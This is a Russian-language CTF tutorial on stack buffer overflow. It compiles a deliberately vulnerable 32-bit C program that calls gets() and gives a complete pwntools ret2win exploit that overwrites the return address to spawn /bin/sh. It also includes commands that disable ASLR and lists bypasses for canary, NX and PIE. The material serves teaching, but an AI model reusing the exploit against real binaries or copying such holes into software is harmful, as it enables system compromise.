
Первый pwn-таск, который я решил на CTF, занял восемь часов. Из них шесть — на попытки понять, почему payload не срабатывает: неправильный offset, забытый флаг компиляции, перепутанный порядок байтов в адресе. Каждая из этих ошибок молча роняет бинарь в SIGSEGV без объяснений. Русскоязычные гайды по переполнению буфера обычно заканчиваются на «strcpy — опасная функция» и схематичной картинке стека, а до рабочего эксплойта дело не доходит. Здесь — полная цепочка: от компиляции уязвимого бинарника до момента, когда в терминале появляется $.
Переполнение буфера в стеке — не академическая абстракция. В реальных атаках и на соревнованиях это точка входа, через которую атакующий перехватывает управление программой. По классификации MITRE ATT&CK переполнение буфера попадает под Exploitation for Client Execution (T1203, Execution) — когда уязвимость в приложении даёт выполнение произвольного кода, и Exploitation for Privilege Escalation (T1068, Privilege Escalation) — когда уязвимый бинарь работает с повышенными привилегиями, например с SUID-битом или от root. Подробнее — в нашем статье о бинарный анализ уязвимостей.
В модели kill chain stack overflow стоит на этапе эксплуатации:
На CTF эта цепочка сжата до одной задачи: вызвать функцию win() или запустить /bin/sh через перезапись адреса возврата. Такой сценарий называется ret2win, и именно его мы разберём от начала до конца.
Чтобы эксплуатировать buffer overflow, нужно понимать три вещи о стеке на архитектуре x86 (32-bit).
Регистры, без которых не обойтись:
Что происходит при вызове функции. Инструкция call кладёт в стек адрес следующей за ней инструкции — это адрес возврата, по которому функция вернётся после завершения. Дальше вызванная функция сохраняет текущий EBP (чтобы восстановить его при выходе) и выделяет место под локальные переменные, сдвигая ESP.
Стековый кадр для функции с локальным буфером buf выглядит так (стек на x86 растёт от старших адресов к младшим):
| Адрес (от старших к младшим) | Содержимое |
|---|---|
| Старшие адреса | Аргументы функции |
| Адрес возврата (return address) | |
| Сохранённый EBP (saved frame pointer) | |
| Младшие адреса (вершина) | Локальный буфер buf |
А теперь критический момент: данные программы и управляющая информация лежат в одном непрерывном блоке памяти. Между буфером и адресом возврата нет никакой аппаратной границы — вообще ничего. Если программа пишет в buf больше данных, чем он вмещает, лишние байты последовательно затирают сохранённый EBP и адрес возврата. Когда функция выполняет ret, процессор снимает значение с вершины стека (уже перезаписанное) и загружает его в EIP. С этого момента выполнение идёт туда, куда указал атакующий.
В англоязычной Wikipedia это описано как «the canonical method for exploiting a stack-based buffer overflow» — перезапись адреса возврата указателем на контролируемые данные. Канонический, потому что работает уже лет тридцать.
На x86-64 принцип тот же, но адреса занимают 8 байт, и есть требование выравнивания стека на 16 байт перед вызовом функций. Нарушение выравнивания — частая причина segfault у тех, кто перешёл на 64-bit без подготовки: exploit вроде бы правильный, адрес правильный, а бинарь падает в movaps. Для первого таска работаем с 32-bit — тут таких подводных камней нет.
gcc-multilibsudo apt install gcc-multilib libc6-dev-i386pip install pwntoolssetup.sh — он сам пропатчит .gdbinitecho 0 | sudo tee /proc/sys/kernel/randomize_va_spaceМинимальный уязвимый бинарь в стиле ret2win. Функция win() существует в коде, но штатно никогда не вызывается — задача атакующего до неё «добраться»:
#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
char buf[64];
gets(buf); // вот она, классика жанра
}
int main() {
vuln();
return 0;
}
Функция gets() читает ввод до символа новой строки, не проверяя длину — классическая уязвимость переполнения стека. GCC выдаст предупреждение «the gets function is dangerous». Именно эта опасность и делает задачу возможной.
Компилируем с отключёнными защитами: gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Флаг -m32 собирает 32-bit бинарь, -fno-stack-protector убирает stack canary, -z execstack делает стек исполняемым (пригодится для будущих задач с shellcode), -no-pie фиксирует адреса функций.
Проверяем защиты: checksec --file=vuln (утилита входит в pwntools). Ожидаемый результат — Canary: No, NX: disabled, PIE: No, RELRO: Partial. Если хотя бы одна защита включена — exploit в том виде, который мы пишем, не сработает.
Работает если:
- Stack canary отключён (no -fstack-protector)
- PIE отключён — адрес функции win() фиксирован
- Архитектура x86 (32-bit)
- ASLR отключён в системе или не влияет (при PIE off адреса бинаря фиксированы, хотя стек и библиотеки рандомизируются)
НЕ работает если:
- Stack canary включён — запись за границы буфера перезапишет canary, и __stack_chk_fail завершит программу до выполнения ret
- PIE включён — адрес win() рандомизирован при каждом запуске, нужна утечка адреса
- Seccomp-фильтры ограничивают системные вызовы — даже при успешной перезаписи system("/bin/sh") будет заблокирован ядром
Цель — определить, сколько именно байт нужно записать, чтобы следующие 4 байта легли точно в адрес возврата. Ни байтом больше, ни меньше.
Запускаем бинарь под отладчиком: gdb ./vuln. Если стоит pwndbg, при остановке процесса на экране сразу появится контекст: регистры, стек, дизассемблированный код — без дополнительных команд.
Генерируем циклический паттерн — уникальную последовательность, где каждая подстрока длиной 4 байта неповторима. В pwndbg прямо внутри GDB: cyclic 200. Или в отдельном терминале: python3 -c "from pwn import *; print(cyclic(200).decode())".
В GDB подаём паттерн на вход: run, вставляем строку. Программа упадёт с SIGSEGV, потому что EIP попытается перейти по адресу, который на самом деле — кусок нашего паттерна. pwndbg подсветит значение EIP — допустим, 0x6161616c.
Определяем позицию этой подстроки: cyclic -l 0x6161616c. Pwntools вернёт число — это и есть offset. Пусть в нашем случае получилось 76: первые 76 байт заполняют буфер и сохранённый EBP, а байты 77–80 ложатся ровно в адрес возврата.
Как показывает пример из курса UCSD CSE127, ту же величину можно получить в GDB командой p $ebp+4 - &buf[0] — результат будет расстоянием в байтах от начала буфера до адреса возврата.
Верификация. Подаём тестовый payload: 76 байт мусора и четыре символа 'B'. Если EIP стал 0x42424242 (ASCII-код 'B' — 0x42), offset правильный. Если нет — пересчитываем.
Три ошибки, на которых теряют часы:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space и верните обратно (echo 2) после практики.Нам нужен адрес функции win(). Получаем его через pwntools: elf = ELF('./vuln'); print(hex(elf.symbols['win'])). Или в GDB: p &win. Допустим, адрес — 0x08049196. PIE отключён, так что адрес будет одинаковым при каждом запуске.
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 76 # найден через cyclic
payload = b'A' * offset # забиваем буфер + saved EBP
payload += p32(elf.symbols['win']) # перезаписываем ret addr
p.sendline(payload)
p.interactive() # если win() сработала — тут будет shell
Что делает каждая строка:
ELF('./vuln') — парсит бинарь, вытаскивает таблицу символов с адресами функций и секций. process('./vuln') — запускает процесс локально (для удалённого CTF-сервера замените на remote('ctf.example.com', 1337)).
b'A' * offset — заполняет буфер и сохранённый EBP мусорными байтами. Буква 'A' выбрана для наглядности: 0x41 хорошо виден в hex-дампе.
p32(elf.symbols['win']) — упаковывает адрес в 4 байта формата little-endian. На x86 младший байт адреса идёт первым: 0x08049196 в памяти хранится как \x96\x91\x04\x08. Вот тут многие новички спотыкаются, записывая адрес в «человеческом» порядке. Не надо так.
p.sendline() — отправляет payload с символом новой строки (gets() ждёт именно его). p.interactive() — передаёт управление пользователю. Если win() запустила /bin/sh, в терминале появляется shell.
Запускаем: python3 exploit.py. Появился $ — переполнение стека сработало, адрес возврата перезаписан адресом win(), процессор выполнил system("/bin/sh").
Если вместо shell вылетает segfault — проверяем по порядку: правильность offset (повторите cyclic), правильность адреса (сверьте objdump -d vuln | grep win), порядок байтов (p32() делает little-endian автоматически — не пишите адрес руками). На x86-64 потребуется p64() вместо p32(), и нередко нужен дополнительный гаджет ret перед адресом win() для выравнивания стека на 16 байт.
В продакшн-бинарях и в продвинутых CTF-тасках защиты включены по умолчанию. Наш exploit работает только при их отсутствии — это осознанное упрощение для первого шага. Разберём каждую защиту и способ обхода.
Stack canary — случайное 4- или 8-байтовое значение, которое компилятор втыкает между локальными переменными и адресом возврата. Перед ret функция сравнивает текущее значение canary с эталоном. Если оно изменилось (а при переполнении оно неизбежно затирается), программа вызывает __stack_chk_fail и завершается до передачи управления по перезаписанному адресу. Обход: утечка значения canary через format string, побочный канал (timing, partial overwrite) или brute-force на fork-серверах, где canary не меняется между дочерними процессами.
NX (No-Execute) / DEP — запрещает исполнение кода в областях памяти, помеченных как «данные», включая стек. Даже если положить shellcode в буфер и перенаправить EIP туда, процессор выбросит исключение. Обход: ROP (Return-Oriented Programming) — использование коротких фрагментов (гаджетов) из уже загруженного исполняемого кода. Наш ret2win — простейший частный случай ROP: один «гаджет» — адрес нужной функции.
ASLR + PIE — рандомизация адресов. ASLR рандомизирует стек, кучу и адреса загруженных библиотек при каждом запуске. PIE делает то же для самого бинаря. Без PIE адрес win() фиксирован даже при включённом ASLR — поэтому наш exploit сработает. С PIE нужна утечка адреса через info leak (например, puts или printf на GOT-entry) или partial overwrite последнего байта.
| Защита | Что блокирует | Типичный обход | Сложность CTF-тасков |
|---|---|---|---|
| Stack canary | Перезапись ret addr | Format string leak, brute-force | Средняя |
| NX (DEP) | Shellcode на стеке | ROP, ret2libc, ret2win | Начальная-средняя |
| ASLR + PIE | Фиксированные адреса | Info leak, partial overwrite | Средняя-высокая |
| Full RELRO | Перезапись GOT-таблицы | Иные write-примитивы (tcache, hooks) | Высокая |
| Seccomp | Syscall-фильтрация | ORW (open-read-write), sigreturn | Высокая |
Первая команда после скачивания таска — checksec. По результату строится decision tree: canary off + NX off → shellcode или ret2win; NX on → ROP/ret2libc; PIE on → нужна утечка. Этот алгоритм экономит часы, которые новички тратят на перебор техник вслепую.
| Инструмент | Преимущества | Ограничения | Когда использовать | Когда не использовать |
|---|---|---|---|---|
| pwntools | Полный цикл: pack/unpack, cyclic, ELF-парсинг, ROP-генератор, remote I/O | Требует Python; порог входа без навыков скриптинга | Написание exploit'ов, взаимодействие с remote | Начальный реверс бинаря |
| GDB + pwndbg | Контекст на одном экране: регистры, стек, код. Команды heap, got, rop |
CLI-only; крутая кривая обучения | Динамический анализ, поиск offset, отладка payload'а | Автоматизация remote-атак |
| GDB + GEF | Альтернатива pwndbg с похожим UX, сильнее в скриптовых хуках | Несовместим с pwndbg одновременно | Те же сценарии — вопрос вкуса | — |
| Ghidra | Бесплатный декомпилятор, граф вызовов, строковый анализ | Тормозит на крупных бинарях; нет динамики | Статический реверс: найти win(), понять логику |
Отладка и взаимодействие с процессом |
| checksec | Мгновенная проверка всех защит бинаря | Только статика | Первая команда после скачивания таска | Всё остальное |
Мой рабочий workflow на каждом pwn-таске: checksec для определения защит → Ghidra для понимания логики (где уязвимый вызов, есть ли win()) → GDB с pwndbg для нахождения offset и отладки → pwntools для финального exploit'а. На бумаге формула понятна, но переполнение стека по-настоящему усваивается только когда сам видишь, как EIP превращается в 0x42424242. Потренироваться на кошках можно на picoCTF (задачи возрастающей сложности) и ROP Emporium (набор тасков, заточенных под ROP-техники).
Я убеждён, что pwn — самая недооценённая категория среди тех, кто идёт в наступательную безопасность. Веб-таски решают все, форензику берут аналитики, а binary exploitation требует понимания работы программы на уровне инструкций — и это знание не устаревает за полгода. ASLR, CFI, shadow stack — защиты усложняются с каждым поколением компиляторов, но базовый принцип один: если атакующий контролирует данные рядом с управляющими структурами, он контролирует выполнение.
Самая частая ошибка — перескакивать к ROP-цепочкам и heap exploitation, не разобравшись с простым ret2win. При неработающем exploit'е потом непонятно, где проблема: в offset'е, в адресе, в выравнивании стека или в самой цепочке. Начинайте с бинаря без защит, убедитесь что перезапись адреса возврата срабатывает, и только потом добавляйте по одной защите — canary, NX, PIE — каждый раз разбираясь, какую новую технику обхода она требует. Если хочешь не просто writeup, а пройти всю атаку самому через десятки уровней прогрессии — WAPT покрывает эту цепочку от базового overflow до ROP с лабой на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...